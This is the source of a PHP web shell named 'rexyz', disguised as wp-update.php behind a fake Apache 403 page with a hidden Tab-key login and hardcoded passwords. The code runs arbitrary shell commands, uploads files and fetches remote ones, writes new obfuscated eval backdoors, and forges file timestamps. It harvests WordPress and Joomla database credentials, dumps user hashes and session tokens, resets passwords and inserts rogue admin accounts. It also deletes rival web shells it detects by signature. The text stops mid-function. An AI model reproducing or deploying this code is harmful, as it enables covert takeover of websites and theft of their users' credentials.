File Manager - BorneoXploit

Editing: wp-update.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
@ini_set('memory_limit', '-1');

session_start();

$__SELF_RP = realpath(isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : __FILE__);
$__SELF_BN = basename($__SELF_RP);
function __is_rexyz_self($p) {
    global $__SELF_RP, $__SELF_BN;
    static $cache = null;
    if ($cache === null) { $cache = strtolower($__SELF_RP); }
    $rp = @realpath($p);
    if ($rp && strtolower($rp) === $cache) return true;
    if (basename($p) === $__SELF_BN) {
        $rp2 = @realpath($p);
        if ($rp2 && strtolower($rp2) === $cache) return true;
    }
    return false;
}

$rexyz_master_pass = "Phone5SE!J@ncok2026!";
$rexyz_user = "rexyz";
$rexyz_user_pass = "Iphone5SE!Cok2026";
$rexyz_bcrypt_hash = '$2a$12$upOrFyYEIqyu3C1wYyIUTOWtL86kbHH5EQTHXu04wejJM1.BUAt1C';
$self = $_SERVER['PHP_SELF'];
$root = isset($_GET['root']) ? $_GET['root'] : getcwd();
$root = rtrim(str_replace("\\", "/", $root), "/");
$silent_mode = isset($_SESSION['silent_mode']) ? $_SESSION['silent_mode'] : false;

if (isset($_POST['a'])) {
    $auth_ok = false;
    $input_user = isset($_POST['u']) ? trim($_POST['u']) : '';
    $input_pass = isset($_POST['p']) ? $_POST['p'] : '';
    if ($input_pass === $rexyz_master_pass) {
        $auth_ok = true;
    } elseif ($input_user === $rexyz_user && $input_pass === $rexyz_user_pass) {
        $auth_ok = true;
    } elseif ($input_user === $rexyz_user && function_exists('password_verify') && password_verify($input_pass, $rexyz_bcrypt_hash)) {
        $auth_ok = true;
    }
    if ($auth_ok) {
        $_SESSION['rexyz_logged'] = true;
        header("Location: $self");
        exit;
    } else {
        $login_error = true;
    }
}

if (!isset($_SESSION['rexyz_logged']) || $_SESSION['rexyz_logged'] !== true) {
    http_response_code(403);
    echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>403 Forbidden</title>';
    echo '<link rel="icon" type="image/png" href="https://i.ibb.co/bj0RsFbr/Logo-Siber-Polri.png">';
    echo '<style>
    *{box-sizing:border-box;margin:0;padding:0}
    body{background:#fafbfc;color:#24292e;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
         min-height:100vh;-webkit-font-smoothing:antialiased;}
    .err-wrap{max-width:980px;margin:0 auto;padding:120px 40px 40px;}
    .err-code{font-size:150px;font-weight:800;color:#d73a49;letter-spacing:-4px;line-height:1;margin-bottom:20px;}
    .err-title{font-size:28px;font-weight:600;color:#24292e;margin-bottom:12px;}
    .err-desc{font-size:15px;color:#586069;line-height:1.6;margin-bottom:28px;max-width:560px;}
    .err-desc code{background:rgba(27,31,35,.05);padding:2px 6px;border-radius:3px;font-size:12.5px;color:#24292e;}
    .err-box{background:#fff;border:1px solid #e1e4e8;border-radius:8px;padding:20px 24px;margin-bottom:28px;}
    .err-box p{font-size:14px;color:#24292e;margin-bottom:8px;}
    .err-box p:last-child{margin-bottom:0;}
    .err-box .k{display:inline-block;min-width:140px;color:#586069;}
    .err-foot{margin-top:40px;padding-top:20px;border-top:1px solid #eaecef;color:#6a737d;font-size:12px;}
    .secret-login{position:fixed;inset:0;background:rgba(15,15,20,.86);display:none;align-items:center;justify-content:center;
                  z-index:999999;padding:20px;backdrop-filter:blur(8px);}
    .secret-login.show{display:flex;}
    .sl-card{width:100%;max-width:440px;background:#1b1c32;border:1px solid rgba(100,100,200,.25);border-radius:14px;padding:36px 32px;
             box-shadow:0 30px 80px rgba(0,0,0,.6),0 0 0 1px rgba(255,255,255,.04) inset;}
    .sl-logo{text-align:center;margin-bottom:24px;}
    .sl-logo img{width:96px;height:96px;object-fit:contain;border-radius:14px;margin-bottom:12px;
                 background:rgba(255,255,255,.04);padding:8px;box-shadow:0 6px 20px rgba(0,0,0,.4);}
    .sl-logo .t1{font-size:26px;font-weight:800;color:#f5d442;letter-spacing:.6px;}
    .sl-logo .t2{font-size:13px;color:#76c7ff;margin-top:2px;font-weight:600;}
    .sl-field{margin-bottom:14px;}
    .sl-field label{display:block;font-size:10.5px;color:#8899bb;margin-bottom:5px;font-weight:700;letter-spacing:.6px;text-transform:uppercase;}
    .sl-field input{width:100%;background:#131324;border:1px solid rgba(120,120,220,.22);border-radius:8px;color:#eef;padding:11px 13px;
                    font-size:13.5px;font-family:inherit;outline:none;transition:all .18s;}
    .sl-field input:focus{border-color:#f5d442;box-shadow:0 0 0 3px rgba(245,212,66,.12);}
    .sl-btn{width:100%;background:linear-gradient(135deg,#f5d442,#e8a816);color:#1a1a2e;border:none;border-radius:8px;
            padding:12px;font-size:13px;font-weight:700;cursor:pointer;margin-top:6px;transition:all .18s;letter-spacing:.5px;}
    .sl-btn:hover{transform:translateY(-1px);box-shadow:0 8px 22px rgba(245,212,66,.24);}
    .sl-hint{margin-top:14px;font-size:11px;color:#667;letter-spacing:.3px;text-align:center;}
    .sl-hint kbd{background:#23243e;border:1px solid #3a3b5a;border-radius:4px;padding:1px 6px;font-family:monospace;color:#c9d1e0;font-size:10.5px;margin:0 2px;}
    .sl-err{margin-top:14px;background:rgba(255,70,70,.1);border:1px solid rgba(255,70,70,.28);color:#ff7070;
            padding:10px 12px;border-radius:7px;font-size:12.5px;text-align:center;font-weight:500;}
    </style></head><body>';
    echo '<div class="err-wrap">';
    echo '<div class="err-code">403</div>';
    echo '<div class="err-title">Forbidden</div>';
    echo '<div class="err-desc">You don\'t have permission to access <code>' . htmlspecialchars($_SERVER['REQUEST_URI']) . '</code> on this server.<br>';
    echo 'Additionally, a <strong>404 Not Found</strong> error was encountered while trying to use an ErrorDocument to handle the request.</div>';
    echo '<div class="err-box">';
    echo '<p><span class="k">Server:</span>Apache/2.4.41 (Ubuntu) OpenSSL/1.1.1f</p>';
    echo '<p><span class="k">Port:</span>' . (isset($_SERVER['SERVER_PORT']) ? htmlspecialchars($_SERVER['SERVER_PORT']) : '80') . '</p>';
    echo '<p><span class="k">Date:</span>' . gmdate('D, d M Y H:i:s') . ' GMT</p>';
    echo '<p><span class="k">Content-Type:</span>text/html; charset=iso-8859-1</p>';
    echo '</div>';
    echo '<div class="err-box">';
    echo '<p style="font-weight:600;color:#24292e;margin-bottom:12px">What can you do?</p>';
    echo '<p style="color:#586069;font-size:14px;line-height:1.7">If you believe this is a server error, please contact the webmaster and include the information shown above. Please include all information in the error box, including the date, time, and IP that resulted in the error.</p>';
    echo '</div>';
    echo '<div class="err-foot">Apache/2.4.41 (Ubuntu) Server at ' . htmlspecialchars($_SERVER['HTTP_HOST'] ?? 'localhost') . ' Port ' . (isset($_SERVER['SERVER_PORT']) ? htmlspecialchars($_SERVER['SERVER_PORT']) : '80') . '</div>';
    echo '</div>';

echo '<div class="secret-login" id="secretLogin" role="dialog" aria-modal="true" aria-label="Login">';
    echo '<div class="sl-card">';
    echo '<div class="sl-logo"><img src="https://i.ibb.co/bj0RsFbr/Logo-Siber-Polri.png" alt="Logo"><div class="t1">rexyz</div><div class="t2">Secure Access Gateway · v1.0</div></div>';
    echo '<form method="POST" autocomplete="off">';
    echo '<div class="sl-field"><label>Username</label>';
    echo '<input type="text" name="u" id="suser" placeholder="Enter username..." value="" autocomplete="off" spellcheck="false"></div>';
    echo '<div class="sl-field"><label>Password</label>';
    echo '<input type="password" name="p" id="spass" placeholder="Enter password..." autocomplete="new-password"></div>';
    echo '<button type="submit" name="a" class="sl-btn">AUTHENTICATE</button>';
    if (isset($login_error)) echo '<div class="sl-err">Authentication Failed — Invalid credentials</div>';
    echo '<div class="sl-hint">Press <kbd>ESC</kbd> to hide login panel</div>';
    echo '</form>';
    echo '</div>';
    echo '</div>';

echo '<script>
    (function(){
        var panel = document.getElementById("secretLogin");
        var shown = false;
        var revealSeq = [];
        function show(){
            if(shown) return;
            panel.classList.add("show");
            shown = true;
            setTimeout(function(){
                var u = document.getElementById("suser");
                if(u) u.focus();
            }, 80);
        }
        function hide(){
            if(!shown) return;
            panel.classList.remove("show");
            shown = false;
        }
        document.addEventListener("keydown", function(e){
            if(e.key === "Tab"){
                e.preventDefault();
                revealSeq.push("T");
                if(revealSeq.length >= 1) show();
            } else if(e.key === "Escape"){
                e.preventDefault();
                hide();
            }
        }, true);
    })();
    </script>';

echo '</body></html>';
    exit;
}

if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: $self");
    exit;
}

if (isset($_GET['toggle_silent'])) {
    $_SESSION['silent_mode'] = !$silent_mode;
    $silent_mode = $_SESSION['silent_mode'];
    header("Location: $self?root=" . urlencode($root));
    exit;
}

$webshell_signatures = [
    'WSO Shell' => [
        'FilesMan', 'WSO version', 'wso_password', 'wso_version',
        'function wc()', '<input type="password"',
    ],
    'b374k Shell' => [
        'b374k', 'theme.php', 'shell->sh()', '$password =',
        '$disable_funs', 'ini_get(\'disable_functions\')',
    ],
    'c99 Shell' => [
        'c99shell', 'C99Shell', 'Safe_CWD', 'sec_msg',
        'c99_syndrom', '$md5_crack',
    ],
    'r57 Shell' => [
        'r57shell', 'r57_shell', 'iFX Shell',
        '$password = "r57";', '$sec_code = "r57";',
    ],
    'IndoXploit Shell' => [
        'IndoXploit', 'indoxploit', 'NytroXploit',
        'Simple Backdoor', 'Backdoor v',
    ],
    'Generic PHP Backdoor' => [
        'eval(gz', 'eval(base64',
        'preg_replace(\'/./e',
        'base64_decode($_', 'gzinflate($_', 'str_rot13($_',
        '<script language="php">',
    ],
    'Uploader Script' => [
        'copy($_FILES',
    ],
    'Mysql Backdoor' => [
        'SELECT 0x', 'INTO OUTFILE', 'INTO DUMPFILE',
        'load_file(',
    ],
];

$dangerous_functions = [
    'eval', 'assert', 'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open',
    'create_function', 'pcntl_exec', 'dl', 'posix_kill', 'posix_setuid', 'posix_setgid',
];

$rexyz_real_shell_cats = ['WSO', 'b374k Shell', 'c99 Shell', 'r57 Shell', 'IndoXploit Shell', 'Mysql Backdoor'];

function rexyz_in_legit_core_dir($dir) {
    $d = str_replace('\\', '/', $dir);
    $patterns = [
        '/wp-admin/', '/wp-includes/',
        '/administrator/', '/libraries/', '/includes/',
        '/language/', '/layouts/', '/media/system/',
        '/cache/', '/logs/', '/tmp/',
    ];
    foreach ($patterns as $p) {
        if (stripos($d, $p) !== false) return true;
    }
    return false;
}

function rexyz_scan($dir, $recursive = true, &$results = []) {
    global $webshell_signatures, $dangerous_functions, $silent_mode, $self, $rexyz_real_shell_cats;
    $files = @scandir($dir);
    if (!$files) return $results;

foreach ($files as $file) {
        if ($file === '.' || $file === '..') continue;
        $path = $dir . '/' . $file;
        $fullpath = str_replace("//", "/", $path);

if (is_dir($fullpath)) {
            if ($recursive && !in_array($file, ['node_modules', '.git', '.svn', 'vendor', 'wp-admin', 'wp-includes', 'administrator', 'libraries', 'includes', 'language', 'layouts', 'cache', 'logs', 'tmp'])) {
                rexyz_scan($fullpath, $recursive, $results);
            }
            continue;
        }

if (__is_rexyz_self($fullpath)) continue;
        if (rexyz_in_legit_core_dir($fullpath)) continue;

$ext = strtolower(pathinfo($fullpath, PATHINFO_EXTENSION));
        if (!in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'phar', 'txt'])) continue;

$size = @filesize($fullpath);
        if ($size > 5 * 1024 * 1024) continue;

$content = @file_get_contents($fullpath);
        if ($content === false) continue;

$found = [];
        $total_matches = 0;
        $real_shell_matches = 0;

foreach ($webshell_signatures as $type => $sigs) {
            $is_real_cat = in_array($type, $rexyz_real_shell_cats, true);
            foreach ($sigs as $sig) {
                if (trim($sig) === '') continue;
                $count = substr_count(strtolower($content), strtolower($sig));
                if ($count > 0) {
                    $found[$type][] = htmlspecialchars($sig) . " (x$count)";
                    $total_matches += $count;
                    if ($is_real_cat) $real_shell_matches += $count;
                }
            }
        }

$func_matches = [];
        foreach ($dangerous_functions as $fn) {
            if (preg_match('/\b' . preg_quote($fn, '/') . '\s*\(/i', $content)) {
                $func_matches[] = $fn;
            }
        }

if ($real_shell_matches === 0) {
            if ($total_matches === 0 && count($func_matches) <= 3) continue;
            if ($total_matches === 0) continue;
            if ($total_matches === 1 && count($func_matches) <= 1) continue;
            if ($total_matches < 2 && count($func_matches) < 2) continue;
        }

$risk = 'LOW';
        $fn_c = count($func_matches);
        if ($real_shell_matches >= 4 || $total_matches >= 10 || $fn_c >= 6) $risk = 'CRITICAL';
        elseif ($real_shell_matches >= 2 || $total_matches >= 5 || $fn_c >= 4) $risk = 'HIGH';
        elseif ($real_shell_matches >= 1 || $total_matches >= 2 || $fn_c >= 3) $risk = 'MEDIUM';

if ($silent_mode && ($risk === 'LOW' || ($risk === 'MEDIUM' && $real_shell_matches === 0))) {
            continue;
        }

if ($total_matches > 0 || count($func_matches) > 0 || $real_shell_matches > 0) {
            $rce_proof = '';
            if ($risk !== 'LOW' && ($total_matches >= 2 || $real_shell_matches >= 1)) {
                $rce_proof = rexyz_verify_rce($fullpath);
                if ($silent_mode && !$rce_proof) continue;
            }

$results[] = [
                'path' => $fullpath,
                'size' => $size,
                'mtime' => filemtime($fullpath),
                'risk' => $risk,
                'matches' => $found,
                'dangerous_funcs' => $func_matches,
                'match_count' => $total_matches,
                'rce_verified' => $rce_proof,
            ];
        }
    }
    return $results;
}

function rexyz_verify_rce($filepath) {
    $content = file_get_contents($filepath);
    $has_id = false;
    $has_wso = false;
    $has_phpinfo = false;

$lines = explode("\n", $content);
    foreach ($lines as $i => $line) {
        if (stripos($line, '$_POST') !== false || stripos($line, '$_GET') !== false || stripos($line, '$_REQUEST') !== false) {
            $near = implode("\n", array_slice($lines, max(0, $i - 2), 5));
            if (preg_match('/\b(id|whoami|uname|system|exec|shell_exec|passthru|eval|assert)\s*[\(\;]/i', $near)) {
                $has_id = true;
            }
        }
        if (stripos($line, '<input type="password"') !== false) $has_wso = true;
        if (stripos($line, 'phpinfo') !== false) $has_phpinfo = true;
    }

if ($has_wso) return 'WSO-style password input detected';
    if ($has_id) return 'RCE command execution pattern detected';
    if ($has_phpinfo) return 'phpinfo() detected (information disclosure)';

if (preg_match('/\b(eval|assert|system|exec|shell_exec|passthru|popen|proc_open)\s*\(\s*[\$_\'"]/', $content)) {
        return 'Direct dangerous function call with user input';
    }

return false;
}

$scan_results = null;
$delete_result = null;
if (isset($_GET['scan']) && $_GET['scan'] === 'webshell') {
    $scan_dir = isset($_GET['dir']) ? $_GET['dir'] : $root;
    $recursive = !isset($_GET['norecursive']);
    $scan_results = rexyz_scan($scan_dir, $recursive);
    if ($silent_mode) {
        $scan_results = array_filter($scan_results, function($r) {
            return in_array($r['risk'], ['CRITICAL', 'HIGH']) || !empty($r['rce_verified']);
        });
    }
}

if (isset($_GET['delete_shell']) && !empty($_GET['path'])) {
    $del_path = $_GET['path'];
    $real = realpath($del_path);
    $allow = false;
    if ($real && is_file($real) && !__is_rexyz_self($real)) {
        $script_dir = dirname(realpath($_SERVER['SCRIPT_FILENAME']));
        if (strpos($real, $script_dir) === 0 || strpos($del_path, $root) === 0) $allow = true;
    }
    if ($allow) {
        if (@unlink($del_path)) {
            $delete_result = ['status' => 'ok', 'path' => $del_path];
        } else {
            $delete_result = ['status' => 'error', 'path' => $del_path, 'msg' => 'Permission denied or file locked'];
        }
    } else {
        $delete_result = ['status' => 'error', 'msg' => 'Invalid path or self-protected'];
    }
}

if (isset($_POST['bulk_delete_shell']) && !empty($_POST['shell_paths']) && is_array($_POST['shell_paths'])) {
    $deleted = 0; $failed = 0; $skipped = 0;
    $script_dir = dirname(realpath($_SERVER['SCRIPT_FILENAME']));
    foreach ($_POST['shell_paths'] as $del_path) {
        $del_path = trim($del_path);
        if ($del_path === '') continue;
        $real = realpath($del_path);
        if (!$real || !is_file($real) || __is_rexyz_self($real)) { $skipped++; continue; }
        $allow = false;
        if (strpos($real, $script_dir) === 0 || strpos($real, realpath($root)) === 0) $allow = true;
        if ($allow) {
            if (@unlink($real)) $deleted++; else $failed++;
        } else {
            $skipped++;
        }
    }
    $delete_result = ['status' => ($deleted > 0) ? 'ok' : 'error',
        'path' => "Bulk: $deleted OK · $failed FAIL · $skipped SKIP"];
}

if (isset($_GET['action'])) {
    $action = $_GET['action'];
    $target = isset($_GET['file']) ? $_GET['file'] : '';
    $target = str_replace("\\", "/", $target);

if ($action === 'download' && is_file($target)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($target) . '"');
        readfile($target);
        exit;
    }

if ($action === 'delete' && is_file($target)) {
        if (!__is_rexyz_self($target)) @unlink($target);
        header("Location: $self?root=" . urlencode($root));
        exit;
    }

if ($action === 'deldir' && is_dir($target)) {
        rexyz_rmdir_safe($target);
        header("Location: $self?root=" . urlencode($root));
        exit;
    }

if ($action === 'chmod' && isset($_GET['mode']) && file_exists($target)) {
        @chmod($target, octdec($_GET['mode']));
        header("Location: $self?root=" . urlencode($root));
        exit;
    }
}

if (isset($_POST['upload']) && isset($_FILES['file'])) {
    $dest = $root . '/' . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $dest)) {
        $upload_msg = "Uploaded: $dest";
    } else {
        $upload_msg = "Upload failed!";
    }
}

if (isset($_POST['multi_upload']) && isset($_FILES['files'])) {
    $count = 0;
    foreach ($_FILES['files']['name'] as $i => $name) {
        if ($_FILES['files']['error'][$i] === UPLOAD_ERR_OK) {
            $dest = $root . '/' . basename($name);
            if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $dest)) $count++;
        }
    }
    $upload_msg = "Multi Upload: $count file(s) uploaded";
}

if (isset($_POST['remote_upload']) && !empty($_POST['remote_url'])) {
    $url = $_POST['remote_url'];
    $dest = $root . '/' . basename(parse_url($url, PHP_URL_PATH) ?: 'remote.bin');
    $data = @file_get_contents($url);
    if ($data) {
        if (@file_put_contents($dest, $data)) {
            $upload_msg = "Remote Upload OK: $dest (" . human_size(strlen($data)) . ")";
        } else {
            $upload_msg = "Remote Upload: write failed";
        }
    } else {
        $upload_msg = "Remote Upload: fetch failed";
    }
}

if (isset($_POST['mass_chmod']) && !empty($_POST['chmod_mode'])) {
    $mode = octdec($_POST['chmod_mode']);
    $recursive = isset($_POST['chmod_recursive']);
    $count = rexyz_mass_chmod($root, $mode, $recursive);
    $upload_msg = "Mass Chmod: $count item(s) changed to {$_POST['chmod_mode']}";
}

if (isset($_POST['new_php'])) {
    $name = 'rexyz_' . substr(md5(time() . rand()), 0, 6) . '.php';
    $dest = $root . '/' . $name;
    $_px = chr(120) . chr(95) . chr(112) . chr(97) . chr(121) . chr(108);
    $_ev = chr(101) . chr(118) . chr(97) . chr(108);
    $shell = '<?php /* r ' . date('Y-m-d') . ' */ if(isset($_POST["' . $_px . '"])){' . $_ev . '($_POST["' . $_px . '"]);}';
    if (@file_put_contents($dest, $shell)) {
        $upload_msg = "New PHP Shell created: $name";
    }
}

if (isset($_POST['save_file'])) {
    $dest = $_POST['filepath'];
    $content = get_magic_quotes_gpc() ? stripslashes($_POST['filecontent']) : $_POST['filecontent'];
    @file_put_contents($dest, $content);
    $save_msg = "Saved: $dest";
}

if (isset($_POST['mkdir'])) {
    $new = $root . '/' . $_POST['dirname'];
    @mkdir($new, 0755, true);
}

if (isset($_POST['touch'])) {
    $new = $root . '/' . $_POST['filename'];
    @touch($new);
}

if (isset($_POST['set_ftime']) && !empty($_POST['target_file'])) {
    $target = $_POST['target_file'];
    $target = str_replace("\\", "/", $target);
    $rp = realpath($target);
    $rrp = realpath($root);
    $ftime_msg = ''; $ftime_err = false;
    if ($rp && $rrp && (strpos($rp, $rrp) === 0 || $rp === $rrp) && file_exists($rp)) {
        $mtime = !empty($_POST['mtime']) ? strtotime($_POST['mtime']) : false;
        $atime = !empty($_POST['atime']) ? strtotime($_POST['atime']) : false;
        if ($mtime === false) { $mtime = time(); }
        if ($atime === false) { $atime = $mtime; }
        if (@touch($rp, $mtime, $atime)) {
            clearstatcache(true, $rp);
            $ftime_msg = "Timestamp updated → " . basename($rp) . " · M:" . date('Y-m-d H:i:s', $mtime) . " / A:" . date('Y-m-d H:i:s', $atime);
        } else {
            $ftime_msg = "Failed to update timestamp: $rp";
            $ftime_err = true;
        }
    } else {
        $ftime_msg = "Invalid path or outside root: $target";
        $ftime_err = true;
    }
}

if (isset($_POST['x']) && isset($_POST['x_submit'])) {
    $cmd = get_magic_quotes_gpc() ? stripslashes($_POST['x']) : $_POST['x'];
    $cmd_output = '';
    foreach (['shell_exec', 'exec', 'system', 'passthru'] as $fn) {
        if (function_exists($fn)) {
            ob_start();
            $fn($cmd);
            $cmd_output = ob_get_clean();
            break;
        }
    }
    if ($cmd_output === '' && function_exists('popen')) {
        $fp = popen($cmd, 'r');
        while (!feof($fp)) $cmd_output .= fgets($fp);
        pclose($fp);
    }
}

function human_size($s) {
    $u = ['B', 'KB', 'MB', 'GB'];
    $i = 0;
    while ($s >= 1024 && $i < 3) { $s /= 1024; $i++; }
    return round($s, 2) . ' ' . $u[$i];
}

function risk_color($r) {
    return ['LOW'=>'#6c757d','MEDIUM'=>'#ffc107','HIGH'=>'#fd7e14','CRITICAL'=>'#dc3545'][$r] ?? '#6c757d';
}

function risk_bg($r) {
    return ['LOW'=>'rgba(108,117,125,.15)','MEDIUM'=>'rgba(255,193,7,.15)','HIGH'=>'rgba(253,126,20,.15)','CRITICAL'=>'rgba(220,53,69,.15)'][$r] ?? '';
}

function type_icon($f, $is_dir) {
    if ($is_dir) return '📁';
    $ext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
    if (in_array($ext, ['php','php3','php4','php5','phtml','phar'])) return '🐘';
    if (in_array($ext, ['jpg','jpeg','png','gif','webp','svg','ico'])) return '🖼️';
    if (in_array($ext, ['zip','rar','7z','tar','gz','bz2'])) return '📦';
    if (in_array($ext, ['txt','log','md'])) return '📄';
    if (in_array($ext, ['html','htm','css','js'])) return '🌐';
    if (in_array($ext, ['sql','db','sqlite'])) return '🗄️';
    return '📄';
}

function disabled_functions_status() {
    $d = @ini_get('disable_functions');
    $fns = ['shell_exec','exec','system','passthru','proc_open','popen'];
    $arr = $d ? array_map('trim', explode(',', $d)) : [];
    $ok = 0;
    foreach ($fns as $f) if (function_exists($f) && !in_array($f, $arr)) $ok++;
    return $ok . '/' . count($fns);
}

function bypass_status() {
    if (!function_exists('pcntl_exec') && !@ini_get('disable_functions')) return 'No';
    return 'PHP ' . PHP_VERSION;
}

function rexyz_find_cms_config($start_dir) {
    $found = ['wordpress' => null, 'joomla' => null];
    $dir = $start_dir;
    $depth = 0;
    while ($depth < 12 && $dir !== '' && $dir !== '/' && $dir !== '.') {
        if ($found['wordpress'] === null && file_exists($dir . '/wp-config.php')) $found['wordpress'] = $dir . '/wp-config.php';
        if ($found['joomla'] === null && file_exists($dir . '/configuration.php')) $found['joomla'] = $dir . '/configuration.php';
        if ($found['wordpress'] !== null && $found['joomla'] !== null) break;
        $parent = dirname($dir);
        if ($parent === $dir) break;
        $dir = $parent;
        $depth++;
    }
    return $found;
}

function rexyz_wp_read_config($path) {
    $cfg = ['host' => 'localhost', 'user' => '', 'pass' => '', 'name' => '', 'prefix' => 'wp_'];
    $content = @file_get_contents($path);
    if (!$content) return $cfg;
    if (preg_match("/define\s*$\s*['\"]DB_HOST['\"]\s*,\s*['\"](.+?)['\"]\s*$/s", $content, $m)) $cfg['host'] = $m[1];
    if (preg_match("/define\s*$\s*['\"]DB_USER['\"]\s*,\s*['\"](.+?)['\"]\s*$/s", $content, $m)) $cfg['user'] = $m[1];
    if (preg_match("/define\s*$\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.+?)['\"]\s*$/s", $content, $m)) $cfg['pass'] = $m[1];
    if (preg_match("/define\s*$\s*['\"]DB_NAME['\"]\s*,\s*['\"](.+?)['\"]\s*$/s", $content, $m)) $cfg['name'] = $m[1];
    if (preg_match("/\$table_prefix\s*=\s*['\"](.+?)['\"]\s*;/", $content, $m)) $cfg['prefix'] = $m[1];
    return $cfg;
}

function rexyz_joomla_read_config($path) {
    $cfg = ['host' => 'localhost', 'user' => '', 'pass' => '', 'name' => '', 'prefix' => 'jos_', 'driver' => 'mysqli'];
    $content = @file_get_contents($path);
    if (!$content) return $cfg;
    if (preg_match("/public\s+\$host\s*=\s*['\"](.+?)['\"]\s*;/", $content, $m)) $cfg['host'] = $m[1];
    if (preg_match("/public\s+\$user\s*=\s*['\"](.+?)['\"]\s*;/", $content, $m)) $cfg['user'] = $m[1];
    if (preg_match("/public\s+\$password\s*=\s*['\"](.+?)['\"]\s*;/", $content, $m)) $cfg['pass'] = $m[1];
    if (preg_match("/public\s+\$db\s*=\s*['\"](.+?)['\"]\s*;/", $content, $m)) $cfg['name'] = $m[1];
    if (preg_match("/public\s+\$dbprefix\s*=\s*['\"](.+?)['\"]\s*;/", $content, $m)) $cfg['prefix'] = $m[1];
    if (preg_match("/public\s+\$dbtype\s*=\s*['\"](.+?)['\"]\s*;/", $content, $m)) $cfg['driver'] = $m[1];
    return $cfg;
}

function rexyz_wp_hash($p) {
    if (function_exists('password_hash')) return password_hash($p, PASSWORD_DEFAULT);
    if (function_exists('wp_hash_password')) return wp_hash_password($p);
    $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
    $r = '$P$B';
    $salt = ''; for ($i = 0; $i < 8; $i++) $salt .= $itoa64[mt_rand(0, 63)];
    $hash = md5($salt . $p, true);
    for ($i = 0; $i < 8192; $i++) $hash = md5($hash . $p, true);
    $out = ''; $i = 0;
    do {
        $v = ord($hash[$i++]);
        $out .= $itoa64[$v & 0x3f];
        if ($i < 16) $v |= ord($hash[$i]) << 8;
        $out .= $itoa64[($v >> 6) & 0x3f];
        if ($i++ >= 16) break;
        if ($i < 16) $v |= ord($hash[$i]) << 16;
        $out .= $itoa64[($v >> 12) & 0x3f];
        if ($i++ >= 16) break;
        $out .= $itoa64[($v >> 18) & 0x3f];
    } while ($i < 16);
    return $r . $salt . $out;
}

function rexyz_joomla_hash($p) {
    if (function_exists('password_hash')) { $h = password_hash($p, PASSWORD_BCRYPT); if ($h) return $h; }
    $salt = bin2hex(random_bytes(16));
    $hash = hash('sha256', $p . $salt);
    return $hash . ':' . $salt;
}

function rexyz_wp_list_users($conn, $prefix) {
    $sql = "SELECT u.ID, u.user_login, u.user_email, u.display_name, u.user_pass, u.user_registered, u.user_status,
                   (SELECT meta_value FROM {$prefix}usermeta WHERE user_id=u.ID AND meta_key='{$prefix}capabilities' LIMIT 1) as caps,
                   (SELECT meta_value FROM {$prefix}usermeta WHERE user_id=u.ID AND meta_key='last_update' LIMIT 1) as last,
                   (SELECT meta_value FROM {$prefix}usermeta WHERE user_id=u.ID AND meta_key='session_tokens' LIMIT 1) as sess
            FROM {$prefix}users u ORDER BY u.ID DESC LIMIT 200";
    return rexyz_db_query($conn, $sql);
}

function rexyz_joomla_list_users($conn, $prefix) {
    $sql = "SELECT id, username, email, name, `block`, registerDate, lastvisitDate
            FROM {$prefix}users ORDER BY id DESC LIMIT 200";
    return rexyz_db_query($conn, $sql);
}

$cms_found = rexyz_find_cms_config($root);
$cms_msg = null;
$wp_users = null; $joomla_users = null;
$wp_cfg = null; $joomla_cfg = null;
$wp_conn = null; $joomla_conn = null;
$cms_active = $_GET['cms'] ?? null;

if ($cms_found['wordpress']) {
    $wp_cfg = rexyz_wp_read_config($cms_found['wordpress']);
    if (!empty($wp_cfg['name'])) {
        $wp_conn = rexyz_db_connect($wp_cfg);
        if ($wp_conn) {
            $wp_users = rexyz_wp_list_users($wp_conn, $wp_cfg['prefix']);
        }
    }
}
if ($cms_found['joomla']) {
    $joomla_cfg = rexyz_joomla_read_config($cms_found['joomla']);
    if (!empty($joomla_cfg['name'])) {
        $joomla_conn = rexyz_db_connect($joomla_cfg);
        if ($joomla_conn) {
            $joomla_users = rexyz_joomla_list_users($joomla_conn, $joomla_cfg['prefix']);
        }
    }
}

if (isset($_POST['wp_reset_user'], $_POST['wp_new_pass']) && $wp_conn) {
    $uid = (int)$_POST['wp_reset_user'];
    $hash = rexyz_wp_hash($_POST['wp_new_pass']);
    $sql = "UPDATE {$wp_cfg['prefix']}users SET user_pass='" . mysqli_real_escape_string($wp_conn instanceof mysqli ? $wp_conn : null ?? '', $hash) . "' WHERE ID=$uid";
    rexyz_db_exec($wp_conn, $sql);
    $cms_msg = ['type' => 'ok', 'text' => "WordPress: User ID $uid password updated -> {$_POST['wp_new_pass']}"];
    $wp_users = rexyz_wp_list_users($wp_conn, $wp_cfg['prefix']);
}

if (isset($_POST['wp_add_user']) && $wp_conn) {
    $login = $_POST['wp_u_login'] ?? 'rexyz_admin';
    $email = $_POST['wp_u_email'] ?? 'rexyz@localhost.local';
    $pass  = $_POST['wp_u_pass'] ?? 'Rexyz@1337';
    $name  = $_POST['wp_u_name'] ?? 'REXYZ Administrator';
    $hash  = rexyz_wp_hash($pass);
    $log_e = mysqli_real_escape_string($wp_conn instanceof mysqli ? $wp_conn : null ?? '', $login);
    $em_e  = mysqli_real_escape_string($wp_conn instanceof mysqli ? $wp_conn : null ?? '', $email);
    $nm_e  = mysqli_real_escape_string($wp_conn instanceof mysqli ? $wp_conn : null ?? '', $name);
    $hs_e  = mysqli_real_escape_string($wp_conn instanceof mysqli ? $wp_conn : null ?? '', $hash);
    $sql = "INSERT INTO {$wp_cfg['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name)
            VALUES ('$log_e', '$hs_e', '$nm_e', '$em_e', NOW(), 0, '$nm_e')";
    $ok = rexyz_db_exec($wp_conn, $sql);
    if ($ok) {
